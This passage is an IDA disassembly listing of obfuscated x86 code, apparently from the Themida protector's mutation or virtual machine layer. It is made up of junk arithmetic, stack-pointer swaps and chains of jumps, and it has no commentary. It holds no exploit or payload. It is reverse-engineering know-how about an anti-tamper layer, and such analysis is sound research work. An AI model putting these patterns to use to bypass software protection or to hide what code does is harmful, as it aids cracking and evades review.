; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5588F3: ; CODE XREF: sub_556A70+50Aj
add ebx, 4
xchg ebx, [esp-10h+arg_C]
pop esp
dec ebx
jmp loc_550B27
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55292B
loc_558903: ; CODE XREF: sub_55292B+14j
mov dl, bl
jmp loc_55799E
; END OF FUNCTION CHUNK FOR sub_55292B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55890A: ; CODE XREF: sub_556A70+3653j
mov eax, 0
add eax, ebx
push edx
push eax
mov eax, 0
mov edx, eax
jmp loc_556265
; ---------------------------------------------------------------------------
loc_55891F: ; CODE XREF: sub_556A70+2FB8j
pop edx
pop ebx
jmp loc_5561BC
; ---------------------------------------------------------------------------
loc_558926: ; CODE XREF: sub_556A70+F21j
push esi
mov esi, 74513D0Dh
push edi
jmp loc_551F5D
; ---------------------------------------------------------------------------
loc_558932: ; CODE XREF: sub_556A70+4FC6j
add edx, eax
pop eax
mov esi, edx
pop edx
sub eax, 2123801h
sub eax, esi
add eax, 2123801h
mov esi, [esp+18h+var_18]
jmp loc_55508E
; ---------------------------------------------------------------------------
loc_55894C: ; CODE XREF: sub_556A70-3A89j
movzx cx, al
push cx
pushf
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_558958: ; CODE XREF: sub_556A70+37CBj
mov [esp+0Ah+var_C+2], edi
mov edi, 4
sub eax, 1BE040E6h
add eax, edi
jmp loc_55C9CB
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559F87
loc_55896C: ; CODE XREF: sub_559F87+Cj
shr ebx, 2
or ebx, 4FDD5677h
jmp loc_558692
; END OF FUNCTION CHUNK FOR sub_559F87
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5584F8
loc_55897A: ; CODE XREF: sub_5584F8-77E1j
push 4914h
mov [esp+8+var_8], ebx
pop edx
pop ebx
mov eax, edx
pop edx
push [esp-4+arg_0]
pop ebp
jmp loc_5556F4
; END OF FUNCTION CHUNK FOR sub_5584F8
; ---------------------------------------------------------------------------
loc_558990: ; CODE XREF: Themida_:00557CB7j
mov esi, esp
jmp loc_555B37
; ---------------------------------------------------------------------------
loc_558997: ; CODE XREF: Themida_:005548E3j
mov ebx, 599C79D8h
xor ebx, esi
pop esi
add eax, ebx
jmp loc_5591CC
; ---------------------------------------------------------------------------
mov cx, [esp]
push edx
push 0C25h
mov [esp], esp
push edx
push edi
push 474577EBh
pop edi
add edi, 2E2936CDh
jmp loc_553E37
; ---------------------------------------------------------------------------
loc_5589C6: ; CODE XREF: Themida_:0055AD1Fj
pop ebx
push 62DAh
mov [esp], edi
push edx
push 5C5C2700h
jmp loc_55A240
; ---------------------------------------------------------------------------
loc_5589DA: ; CODE XREF: Themida_:0055B968j
push eax
mov eax, 69954E56h
shr eax, 7
jmp loc_557D9C
; ---------------------------------------------------------------------------
loc_5589E8: ; CODE XREF: Themida_:0055B84Aj
pop edi
add ebp, esi
push eax
mov eax, 4AD74A00h
sub ebp, eax
pop eax
push dword ptr [esp]
pop esi
add esp, 4
add ebp, 2
xchg ebp, [esp]
pop esp
jmp loc_5564DA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55A748
loc_558A07: ; CODE XREF: sub_55A748+19j
sub dh, 7
xor bh, dh
mov edx, [esp+4+var_4]
jmp loc_5545E7
; END OF FUNCTION CHUNK FOR sub_55A748
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_558A14: ; CODE XREF: sub_556A70-424Fj
add edx, 4
sub esp, 4
mov [esp-0Ch+arg_8], ecx
mov ecx, 4
add edx, ecx
pop ecx
xor edx, [esp-10h+arg_C]
xor [esp-10h+arg_C], edx
xor edx, [esp-10h+arg_C]
mov esp, [esp-10h+arg_C]
jmp loc_5539B4
; ---------------------------------------------------------------------------
loc_558A39: ; CODE XREF: sub_556A70-6FEj
add edx, 4
sub edx, 4
xchg edx, [esp-16h+arg_10+2]
pop esp
mov [esp-1Ah+arg_14+2], eax
push 5D25h
mov [esp-16h+arg_10+2], edx
push edi
mov edi, 5DA10806h
jmp loc_55805B
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_558A5C: ; CODE XREF: Themida_:00559BADj
add edi, 0FFFFFFFFh
sub edi, 751511BDh
push esi
mov esi, 4C2D6D4Ah
jmp loc_55BF40
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_558A73: ; CODE XREF: sub_556A70+4C0j
sub ebx, 61004Ah
mov edx, [esp-8+arg_4]
add esp, 4
jmp loc_5569A8
; ---------------------------------------------------------------------------
loc_558A87: ; CODE XREF: sub_556A70+331j
add bl, 3Eh
movzx eax, al
pop dword ptr [edi+eax*4]
jmp loc_551662
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5566B9
loc_558A95: ; CODE XREF: sub_5566B9-1D2Fj
add ecx, edx
pop edx
and eax, ecx
pop ecx
shr eax, 0Bh
xor ecx, eax
sub esp, 4
mov [esp+0Ch+var_C], ebx
push ecx
mov ecx, 37502797h
sub [esp+10h+var_C], ecx
pop ecx
pop eax
push 3FF5h
mov [esp+0Ch+var_C], ebp
mov ebp, 37502797h
push ebp
mov ebp, 56721FCAh
inc ebp
xor ebp, 3A1442D3h
add eax, ebp
jmp loc_55B1EF
; END OF FUNCTION CHUNK FOR sub_5566B9
; ---------------------------------------------------------------------------
loc_558AD3: ; CODE XREF: Themida_:0055C97Fj
mov [esp], ebp
mov ebp, esp
add ebp, 4
jmp loc_5528AC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_558AE3: ; CODE XREF: sub_556A70-FECj
or [edi+1Ch], edx
pop edx
; END OF FUNCTION CHUNK FOR sub_556A70
; =============== S U B R O U T I N E =======================================
sub_558AE7 proc near ; CODE XREF: sub_556A70-52Ej
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00554A45 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00555830 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00558166 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0055CA8B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055CF56 SIZE 00000007 BYTES
sub esp, 4
mov [esp+4+var_4], esi
jmp loc_558166
sub_558AE7 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_558AF2: ; CODE XREF: sub_556A70+384Cj
pop ebx
push edx
mov edx, 705259E6h
xor ecx, edx
mov edx, [esp-0Ch+arg_8]
add esp, 4
jmp loc_5541C3
; ---------------------------------------------------------------------------
loc_558B06: ; CODE XREF: sub_556A70+35D3j
mov esi, 2
add edx, esi
pop esi
push edx
push [esp-10h+arg_10]
pop edx
jmp loc_55925A
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_558B19: ; CODE XREF: Themida_:00559EB1j
sub al, bh
jmp loc_55C4F3
; ---------------------------------------------------------------------------
loc_558B20: ; CODE XREF: Themida_:00554276j
mov ebp, esp
add ebp, 4
add ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
jmp loc_555A45
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_558B3D: ; CODE XREF: sub_556A70-17EAj
pop esp
mov [esp+4+var_4], eax
push ebx
mov ebx, 7AFC1C5Ch
mov eax, ebx
pop ebx
sub [esp+4], eax
pop eax
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_558B54: ; CODE XREF: sub_556A70+21BEj
add esi, 4
add esi, 4
jmp loc_558EB2
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5567EA
loc_558B65: ; CODE XREF: sub_5567EA-1206j
and eax, ebx
push dword ptr [esp+0]
push [esp+4+var_4]
jmp loc_55C842
; END OF FUNCTION CHUNK FOR sub_5567EA
; ---------------------------------------------------------------------------
loc_558B72: ; CODE XREF: Themida_:0055CC39j
not edx
push edx
push ecx
pop edx
pop ecx
jmp loc_555E81
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556769
loc_558B7D: ; CODE XREF: sub_556769-2FB7j
pop ebx
sub ebp, edi
sub ebp, 34A83382h
pop edi
add esi, ebp
pop ebp
xchg esi, [esp-8+arg_4]
mov esp, [esp-8+arg_4]
dec [esp-8+arg_4]
pushf
jmp loc_55BE98
; END OF FUNCTION CHUNK FOR sub_556769
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_558B99: ; CODE XREF: sub_556A70-4DF0j
sub ecx, esi
jmp loc_55B4ED
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_558BA0: ; CODE XREF: Themida_:005569CBj
sub al, bl
push 57E3h
mov [esp], ebx
mov bh, 93h
xor bh, 2Dh
jmp loc_553621
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552B74
loc_558BB4: ; CODE XREF: sub_552B74+701j
sub edi, edx
add edi, 12747E6Dh
mov edx, [esp+8+var_8]
add esp, 4
sub edi, 4BD13409h
push ebx
mov ebx, 2038562Fh
and ebx, 301D3252h
and ebx, 0F826CBFh
sub ebx, 0ADA19B34h
jmp loc_552384
; END OF FUNCTION CHUNK FOR sub_552B74
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_558BE5: ; CODE XREF: sub_556A70-36D8j
push edx
mov dl, 0FCh
xor bl, dl
pop edx
add bl, 6Ch
jmp sub_55292B
; ---------------------------------------------------------------------------
loc_558BF3: ; CODE XREF: sub_556A70+28Ej
mov [esp-8+arg_4], ebp
push [esp-8+arg_8]
pop ebp
pop [esp-8+arg_4]
pop esp
mov [esp-10h+arg_C], edx
push eax
pushf
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_558C09: ; CODE XREF: Themida_:005582F5j
mov [esp], edx
mov dh, 0B3h
jmp loc_55C99C
; ---------------------------------------------------------------------------
loc_558C13: ; CODE XREF: Themida_:005551F2j
jmp loc_550A46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5516F8
loc_558C18: ; CODE XREF: sub_5516F8+3B50j
add edi, 786757B1h
add edi, ecx
sub edi, 786757B1h
jmp loc_55AFE2
; END OF FUNCTION CHUNK FOR sub_5516F8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_558C2B: ; CODE XREF: sub_556A70-4D61j
push esi
push esp
pop esi
jmp loc_558B54
; ---------------------------------------------------------------------------
loc_558C33: ; CODE XREF: sub_556A70+160Bj
mov esp, [esp-8+arg_4]
movsx ecx, al
push 0CC8h
jmp loc_558567
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5584F8
loc_558C43: ; CODE XREF: sub_5584F8+297j
pop dword ptr [esp+0]
jmp loc_55B305
; END OF FUNCTION CHUNK FOR sub_5584F8
; ---------------------------------------------------------------------------
loc_558C4B: ; CODE XREF: Themida_:005533B7j
pop dword ptr [esp]
mov esp, [esp]
dec word ptr [esp]
pushf
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_558C5B: ; CODE XREF: Themida_:0055A8F7j
add eax, edx
sub eax, 2A525CFBh
pop edx
push ecx
mov ecx, 49081FF3h
shr ecx, 7
shl ecx, 2
push esi
mov esi, 1A0A6507h
push edx
mov edx, esp
add edx, 4
sub edx, 4
jmp loc_559378
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_558C86: ; CODE XREF: sub_556A70-1CDEj
add esp, 4
push edi
mov edi, esp
push 6965h
mov [esp-0Eh+arg_8+2], eax
mov eax, 4
add edi, eax
mov eax, [esp-0Eh+arg_8+2]
add esp, 4
push eax
mov eax, 4
add edi, eax
pop eax
jmp loc_55A015
; ---------------------------------------------------------------------------
loc_558CB2: ; CODE XREF: sub_556A70-39D7j
push esi
mov esi, esp
add esi, 4
push 2A77h
mov [esp+18h+var_18], eax
mov eax, 4
add esi, eax
pop eax
xor esi, [esp+14h+var_14]
xor [esp+14h+var_14], esi
xor esi, [esp+14h+var_14]
mov esp, [esp+14h+var_14]
push ebx
mov ebx, esp
push ecx
mov ecx, 4
jmp loc_556C91
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_558CE5: ; CODE XREF: Themida_:00553512j
mov ebx, 2F592974h
not ebx
sub ebx, 0D0A6D687h
add esi, ebx
push dword ptr [esp]
pop ebx
add esp, 4
add esi, 2
xchg esi, [esp]
pop esp
jmp loc_555743
; ---------------------------------------------------------------------------
loc_558D07: ; CODE XREF: Themida_:0055AE63j
inc cl
jmp loc_554D62
; =============== S U B R O U T I N E =======================================
sub_558D0E proc near ; CODE XREF: sub_55A6CD+2710j
var_C = dword ptr -0Ch
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055133C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00552FC6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055848B SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0055B639 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055CAEE SIZE 0000001E BYTES
push ebx
mov ebx, 76A70431h
push edx
push ebp
mov ebp, 7ADD44B5h
or ebp, 62060534h
jmp loc_55CAEE
sub_558D0E endp
; ---------------------------------------------------------------------------
loc_558D26: ; CODE XREF: Themida_:00556111j
xchg ebx, [esp]
pop esp
jmp loc_557F80
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_558D2F: ; CODE XREF: sub_556A70-516Aj
pop ecx
shr eax, 0Ah
jmp loc_55A1B1
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_558D38: ; CODE XREF: Themida_:0055B72Bj
mov edi, 7D864946h
push ecx
mov ecx, 18F255A3h
add ecx, 509504D4h
neg ecx
and ecx, 3BFA30E0h
jmp loc_5526E1
; ---------------------------------------------------------------------------
loc_558D56: ; CODE XREF: Themida_:00557FEEj
pop esp
mov dx, [esp]
push ebp
push esp
mov ebp, [esp]
add esp, 4
push edi
mov edi, 1BD628DFh
shl edi, 6
jmp loc_553A4D
; ---------------------------------------------------------------------------
loc_558D71: ; CODE XREF: Themida_:005516F3j
mov ecx, 446D111Fh
sub ecx, 5F8E792Eh
and ecx, 16F23556h
xor ecx, 4D21554h
sub esi, 55424A21h
add esi, ecx
jmp loc_559955
; ---------------------------------------------------------------------------
lodsb
jmp loc_5593DF
; ---------------------------------------------------------------------------
loc_558D9B: ; CODE XREF: Themida_:0055B513j
xor bl, 0FEh
push edx
mov dh, bl
mov al, dh
jmp loc_55B044
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_558DA8: ; CODE XREF: sub_556A70-E91j
xor [esp-26h+arg_20+2], eax
jmp loc_552059
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_55699F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5584F8
loc_558DB9: ; CODE XREF: sub_5584F8+23DBj
dec edx
xor edx, 548A660Bh
mov ecx, edx
pop edx
push ebx
mov ebx, 26816CCCh
shr ebx, 7
add ebx, 259B2491h
jmp loc_55CFA6
; END OF FUNCTION CHUNK FOR sub_5584F8
; ---------------------------------------------------------------------------
loc_558DD7: ; CODE XREF: Themida_:00555634j
sub esp, 4
mov [esp], ecx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
jmp loc_551F88
; ---------------------------------------------------------------------------
loc_558DF5: ; CODE XREF: Themida_:005541DDj
push small 0
jmp loc_55BEA4
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
push 6925h
mov [esp], ecx
push esp
pop ecx
jmp loc_554C1D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_558E19: ; CODE XREF: sub_556A70-3E29j
mov ebp, esp
push ecx
mov ecx, 4
add ebp, ecx
jmp loc_5539CF
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_556656
; ---------------------------------------------------------------------------
loc_558E31: ; CODE XREF: Themida_:00556477j
mov edx, 2
sub ebp, 46065F5Fh
add ebp, edx
push eax
mov eax, 29623125h
jmp loc_5537FB
; ---------------------------------------------------------------------------
loc_558E49: ; CODE XREF: Themida_:0055AB1Dj
inc ecx
neg ecx
jmp loc_55A83F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_558E51: ; CODE XREF: sub_556A70+1A9Ej
xor ecx, ebx
pop ebx
sub eax, ecx
pop ecx
push edi
mov edi, 0BFF7A37Dh
add eax, 3B47725Fh
jmp loc_55A81F
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
push dword ptr [esp+4]
push dword ptr [esp]
push dword ptr [esp]
jmp loc_5516EE
; ---------------------------------------------------------------------------
loc_558E76: ; CODE XREF: Themida_:0055CFA1j
add dl, 47h
sub bl, dl
pop edx
xor dh, bl
jmp loc_554A64
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_558E83: ; CODE XREF: sub_556A70+5B7Bj
push esp
pop ecx
add ecx, 4
push esi
mov esi, 7BE179CCh
add esi, 841E8638h
jmp loc_559E03
; ---------------------------------------------------------------------------
loc_558E9C: ; CODE XREF: sub_556A70-5A9Cj
and eax, ecx
mov ecx, [esp+8+var_8]
add esp, 4
jmp loc_55B23A
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5566B9
loc_558EAC: ; CODE XREF: sub_5566B9-5740j
pop esi
jmp loc_5516A6
; END OF FUNCTION CHUNK FOR sub_5566B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_558EB2: ; CODE XREF: sub_556A70+20F0j
xchg esi, [esp+0]
pop esp
jmp loc_552873
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_558EBB: ; CODE XREF: Themida_:0055446Dj
mov [esp], esp
jmp loc_55A4ED
; ---------------------------------------------------------------------------
loc_558EC3: ; CODE XREF: Themida_:005554DDj
push 3AAh
jmp loc_559301
; ---------------------------------------------------------------------------
loc_558ECD: ; CODE XREF: Themida_:00553113j
mov eax, [esp]
push 2F7h
mov [esp], ebx
jmp loc_556151
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5516F8
loc_558EDD: ; CODE XREF: sub_5516F8+A935j
xor eax, ecx
jmp loc_55BFFE
; END OF FUNCTION CHUNK FOR sub_5516F8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5566B9
loc_558EE4: ; CODE XREF: sub_5566B9-2239j
add esp, 4
mov ecx, [esp+8+var_8]
push ebx
mov ebx, esp
push eax
mov eax, 4
jmp loc_55A570
; END OF FUNCTION CHUNK FOR sub_5566B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5539DB
loc_558EFB: ; CODE XREF: sub_5539DB+6D44j
and edx, 594239C7h
push 39D5h
jmp loc_55741D
; END OF FUNCTION CHUNK FOR sub_5539DB
; ---------------------------------------------------------------------------
loc_558F0B: ; CODE XREF: Themida_:0055CCC6j
push edi
jmp loc_55287A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_558F11: ; CODE XREF: sub_556A70-12Aj
shl ebx, 4
xor ebx, 76536B60h
sub ebx, 98B43CFEh
sub ebx, esi
pop esi
add ebx, 398D7F7Ah
or ebx, 22D93BC5h
xor ebx, 0D144981Dh
add eax, ebx
pop ebx
xor eax, ebp
jmp loc_55A8FC
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_558F3F: ; CODE XREF: Themida_:00555768j
mov [esp], edx
jmp loc_553BB1
; ---------------------------------------------------------------------------
loc_558F47: ; CODE XREF: Themida_:0055C946j
add esp, 4
jmp loc_55BEE1
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_55185F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_558F58: ; CODE XREF: sub_556A70+309j
mov ebx, 592806C2h
jmp loc_552404
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_558F62: ; CODE XREF: Themida_:00551D62j
add eax, ecx
jmp loc_551130
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5526D6
loc_558F69: ; CODE XREF: sub_5526D6+A1E1j
or ebp, 6EC7760h
dec ebp
push eax
mov eax, 86EE7F5Dh
sub ebp, eax
pop eax
add eax, 124338F4h
add eax, ebp
jmp loc_552A29
; END OF FUNCTION CHUNK FOR sub_5526D6
; ---------------------------------------------------------------------------
loc_558F85: ; CODE XREF: Themida_:00550CEFj
add esp, 4
jmp loc_55ABFD
; ---------------------------------------------------------------------------
loc_558F90: ; CODE XREF: Themida_:00555ED8j
pop ebx
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], edi
mov edi, esp
add edi, 4
push ebp
mov ebp, 0E9A2E80h
sub ebp, 0E9A2E7Eh
jmp loc_557804
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_558FB4: ; CODE XREF: sub_556A70+4DB6j
sub edx, 19DB11CEh
jmp loc_55914B
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_558FBF: ; CODE XREF: Themida_:0055129Cj
push edi
push esp
pop edi
push ecx
mov ecx, 5F3C3D60h
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
jmp loc_5510F8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_558FE0: ; CODE XREF: sub_556A70-3424j
pop edx
xor [esp-8+arg_8], eax
jmp loc_55A2C1
; ---------------------------------------------------------------------------
loc_558FEA: ; CODE XREF: sub_556A70+2CCFj
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_55C1C8
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_551B42
loc_558FFB: ; CODE XREF: sub_551B42+3972j
mov edi, 70AB7854h
xor edx, edi
pop edi
push ebp
push edi
mov edi, 3C4742Ah
mov ebp, edi
pop edi
sub edx, 1E4B1B91h
sub edx, ebp
add edx, 1E4B1B91h
mov ebp, [esp-8+arg_4]
jmp loc_55297C
; END OF FUNCTION CHUNK FOR sub_551B42
; ---------------------------------------------------------------------------
loc_559023: ; CODE XREF: Themida_:00551048j
push 2222h
mov [esp], ebp
push esp
pop ebp
sub esp, 4
mov [esp], esi
mov esi, 4
jmp loc_55B83B
; ---------------------------------------------------------------------------
movzx ax, byte ptr [edx]
push small 52F2h
mov [esp], ax
jmp loc_550A46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_559051: ; CODE XREF: sub_556A70+489j
add esp, 4
push eax
mov eax, 4
add ecx, eax
jmp loc_55760D
; ---------------------------------------------------------------------------
loc_559064: ; CODE XREF: sub_556A70+2D77j
add ebp, 4
xor ebp, [esp+0]
jmp loc_556299
; ---------------------------------------------------------------------------
loc_559072: ; CODE XREF: sub_556A70-1E79j
push edx
mov edx, esp
add edx, 4
push eax
mov eax, 21FC43F1h
jmp loc_55B257
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
movzx ax, byte ptr fs:[edx]
push small 6BCDh
mov [esp], ax
jmp loc_550A46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_559098: ; CODE XREF: sub_556A70-1F69j
add esp, 4
add edi, 4
xor edi, [esp+0]
xor [esp+0], edi
xor edi, [esp+0]
mov esp, [esp+0]
jmp loc_554E6D
; ---------------------------------------------------------------------------
loc_5590B5: ; CODE XREF: sub_556A70+575Ej
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5590BA: ; CODE XREF: Themida_:0055CB71j
mov edi, [esp]
add esp, 4
pop eax
loc_5590C4: ; CODE XREF: Themida_:00553527j
push eax
push 7422h
mov [esp], esi
mov esi, 281979AEh
jmp loc_553770
; ---------------------------------------------------------------------------
loc_5590D7: ; CODE XREF: Themida_:00552EBBj
push esp
pop edi
push esi
mov esi, 4
add edi, esi
pop esi
sub edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
jmp loc_5559AA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5590F6: ; CODE XREF: sub_556A70+47E2j
mov [esp+0], ecx
push edx
mov edx, 0FFFFFFFFh
push edx
jmp loc_553E9B
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_559105: ; CODE XREF: Themida_:0055C0EFj
pop esp
push 39EBh
jmp loc_55965B
; ---------------------------------------------------------------------------
loc_559110: ; CODE XREF: Themida_:00555339j
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ebx
jmp loc_55247B
; ---------------------------------------------------------------------------
loc_559126: ; CODE XREF: Themida_:00551E25j
add eax, ecx
pop ecx
add eax, 7B55724Ah
sub eax, 77389DF5h
and ebx, eax
pop eax
jmp loc_553CCA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5539DB
loc_55913B: ; CODE XREF: sub_5539DB+808Fj
mov [esp+4+var_4], ebx
xor [esp+4+var_4], 2D3A488Eh
pop eax
jmp loc_55A719
; END OF FUNCTION CHUNK FOR sub_5539DB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55914B: ; CODE XREF: sub_556A70+254Aj
sub edx, 35F71F73h
sub edx, 3C403F75h
sub esp, 4
mov [esp+12h+var_14+2], ebx
jmp loc_554B1F
; ---------------------------------------------------------------------------
loc_559165: ; CODE XREF: sub_556A70+313j
push ecx
mov ecx, esp
push esi
mov esi, 4
add ecx, esi
pop esi
add ecx, 4
jmp loc_55A678
; ---------------------------------------------------------------------------
loc_559179: ; CODE XREF: sub_556A70-5B5Cj
xor edx, 6E9524CEh
jmp loc_559A24
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55C746
loc_559184: ; CODE XREF: sub_55C746-488j
mov [esp+8+var_8], edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+8+var_8]
mov esp, [esp+8+var_8]
mov edx, [esp-4+arg_0]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+0]
pop esp
push edi
mov edi, esp
add edi, 4
jmp loc_557944
; END OF FUNCTION CHUNK FOR sub_55C746
; ---------------------------------------------------------------------------
loc_5591BC: ; CODE XREF: Themida_:00552370j
sub eax, edi
pop edi
and esi, eax
jmp loc_555D41
; ---------------------------------------------------------------------------
loc_5591C6: ; CODE XREF: Themida_:0055168Fj
push eax
jmp loc_553471
; ---------------------------------------------------------------------------
loc_5591CC: ; CODE XREF: Themida_:005589A1j
pop ebx
sub eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_55835D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5584F8
loc_5591E0: ; CODE XREF: sub_5584F8-695Ej
xchg ebx, [esp+0]
pop esp
mov [esp-4+arg_0], ebx
push 5DB7h
mov [esp+0], edx
push ebp
jmp loc_55A92B
; END OF FUNCTION CHUNK FOR sub_5584F8
; ---------------------------------------------------------------------------
loc_5591F5: ; CODE XREF: Themida_:0055CAE0j
pop ebx
add esi, 485A043Ah
add esi, edi
sub esi, 485A043Ah
mov edi, [esp]
add esp, 4
pop ebx
jmp loc_551944
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5584F8
loc_559213: ; CODE XREF: sub_5584F8+4A6Ej
add esp, 4
jmp loc_55685D
; END OF FUNCTION CHUNK FOR sub_5584F8
; ---------------------------------------------------------------------------
loc_55921B: ; CODE XREF: Themida_:00550EA9j
add al, bl
sub esp, 4
mov [esp], ebx
push ecx
push 5B4Ah
mov [esp], edx
mov dh, 3Ch
mov ch, dh
jmp loc_556D1F
; ---------------------------------------------------------------------------
mov esp, [esp]
jmp loc_550A46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_559240: ; CODE XREF: sub_556A70-8F3j
pop esp
or eax, eax
jz loc_55297F
push dword ptr [edi+28h]
jmp loc_555E1B
; ---------------------------------------------------------------------------
loc_559251: ; CODE XREF: sub_556A70-32B6j
xchg esi, [esp+4+var_4]
pop esp
jmp loc_55B2DF
; ---------------------------------------------------------------------------
loc_55925A: ; CODE XREF: sub_556A70+20A4j
pop [esp-10h+arg_C]
mov esp, [esp-14h+arg_10]
rol byte ptr [esp-14h+arg_10], cl
pushf
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
